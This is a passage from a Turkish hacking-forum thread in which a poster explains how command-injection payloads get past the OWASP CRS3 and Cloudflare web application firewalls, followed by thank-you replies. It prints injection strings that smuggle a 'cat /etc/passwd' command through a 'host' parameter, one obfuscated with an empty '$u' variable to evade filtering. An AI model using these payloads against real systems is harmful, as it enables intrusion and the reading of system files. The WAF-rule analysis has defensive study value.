CF WAF üzerindeki testlerin aksine CRS3.1'i Paranoia Level 3 daha da zorlaştırıyor ve PHP Scriptinde "$_GET['host']" ekleyerek zor bir hale getiriyor. Deneyelim:



Şu anda bir komutun enjekte edilmesi için bunlar yeterli değil...

Kod:
/?host=www.google.it";cat+/etc/passwd+#
Aklınızdan geçeni biliyorum: "Çift tırnak, noktalı virgül gibi değişkenlerin bulunduğu bir RCE yükünü ve yorum satırını CloudFlare engelleyecektir."... Hmm hiç sanmıyorum...


CloudFlare WAF bypass

CF'den farklı olarak, OWASP CRS3'te iki kural sebebiyle Paranoia Mod 3'ü aşamıyoruz:

* 942460 Kural: ****-Karakter Anomali Algılaması: Tekrarlayan kelime ve ",;,/,$ karakterleri sebebiyle isteği engeller.
* 942260 Kural: SQL Kimlik doğrulaması bypass girişimlerini algılar: daha az özel karakter kullanımı bu kural tarafından engellenir.

Paranoia Mod 2'ye indiğimizde rahatlıkla çalıştığını göreceksiniz:

Kod:
/?host=www.google.it";+$u+cat+/etc$u/passwd+\#
- Sonuç

Bu tarz bir isteği engellemek neden bu kadar zor? Ayrıca neden WAF genelde argüman değerleri arasından "$" karakterini engellemiyor?
Çünkü birçok yanlış tespite yol açabilir. IMHO, CRS3 tarafından en iyi yaklaşım olarak kullanılan ve ancak 4 ya da daha fazla tekrarlanan kelime olması durumunda engelleyen bir sistemdir ve bu belirli karakterleri engellemektense daha az yanlış tespite sebep olacak filtreler kullanır.

---------------------




ƬHΣ GHΘЅƬLΨ , ƁLΔCƘ ΔΓΜΘƱΓΣD CΣƬƱΓIΘ




- SolidStar -
Konu PALA tarafından (10-01-2019 23:55 Saat 23:55 ) değiştirilmiştir.
R4V3N - ait Kullanıcı Resmi (Avatar)
Çevirmen
Üyelik tarihi:
07/2016
Nereden:
Cræzy
Yaş:
22
Mesajlar:
6.172
Konular:
350
Teşekkür (Etti):
812
Teşekkür (Aldı):
2338
Ticaret:
(0) %
10-01-2019 23:53
#3
Güncel ++
---------------------
You only live once, don't let it go to waste
Telegram
Twitter

kralfelix, Bykurabiye, M3m0ry Teşekkür etti.
Bykurabiye - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2016
Nereden:
Tanrı Dağı
Yaş:
16
Mesajlar:
2.506
Konular:
153
Teşekkür (Etti):
343
Teşekkür (Aldı):
259
Ticaret:
(0) %
10-01-2019 23:59
#4
Elinize sağlık.
--------------------- Birazcık Yukarıya Bak.

Bir şey her şey için, her şey bir şey için vardır.
J. W. Von GOETHE
M3m0ry Teşekkür etti.
AquieLL - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2014
Nereden:
aquu.php
Mesajlar:
4.009
Konular:
629
Teşekkür (Etti):
818
Teşekkür (Aldı):
2308
Ticaret:
(0) %
11-01-2019 00:25
#5
Kaliteli içerik.Tebrikler.
---------------------

WWW.TÜRKHACKTEAM.ORG/TV
- AquieLL -
Siber Güvenlik


M3m0ry Teşekkür etti.
oxcakmak - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2018
Nereden:
Kocaeli
Yaş:
20
Mesajlar:
1.394
Konular:
80
Teşekkür (Etti):
474
Teşekkür (Aldı):
143
Ticaret:
(0) %
11-01-2019 01:16
#6
Konu mükemmel
---------------------
PHP / PDO - Back-End Developer - Full Open Source
M3m0ry Teşekkür etti.
ibobaba27 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2015
Nereden:
Bileceksin?
Mesajlar:
268
Konular:
15
Teşekkür (Etti):
61
Teşekkür (Aldı):
30
Ticaret:
(0) %
11-01-2019 17:25
#7
Efsane konu ellerinize sağlık
---------------------
• Paranla Şeref Kazanma, Şerefinle Para Kazan ki; Paran Bittiğinde, Şerefinde Bitmesin. •
M3m0ry Teşekkür etti.
"Tranquila - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
08/2017
Nereden:
Trabzon
Yaş:
2
Mesajlar:
1.998
Konular:
229
Ticaret:
(0) %
11-01-2019 17:40
#8
Elinize sağlık
M3m0ry Teşekkür etti.
PourLa - ait Kullanıcı Resmi (Avatar)
Green Team
Üyelik tarihi:
03/2016
Nereden:
Mesajlar:
1.414
Konular:
288
Teşekkür (Etti):
427
Teşekkür (Aldı):
442
Ticaret:
(0) %
11-01-2019 18:53
#9
Konu açılımı için Teşekkür ederim en azından nasıl Konuların ve nasıl bir sunum yapılıp açıklanması gerektiği konusunda örnek nitelikte
---------------------
PourLa
Html/Css > Python > C ve C++
( }-----{ TÜRK HACK TEAM }-----{ )
Twitter | Telegram | İnstagram
M3m0ry Teşekkür etti.
arifefess1 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2018
Nereden:
Mars
Yaş:
20
Mesajlar:
452
Konular:
8
Teşekkür (Etti):
5
Teşekkür (Aldı):
46
Ticaret:
(0) %
11-01-2019 18:57
#10
Elinize sağlık hocam mütiş
--------------------- ---HİÇ BİR SİSTEM GÜVENLİ DEĞİLDİR---

---BİR SABAH GELECEK KARDAN AYDINLIK---
M3m0ry Teşekkür etti.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler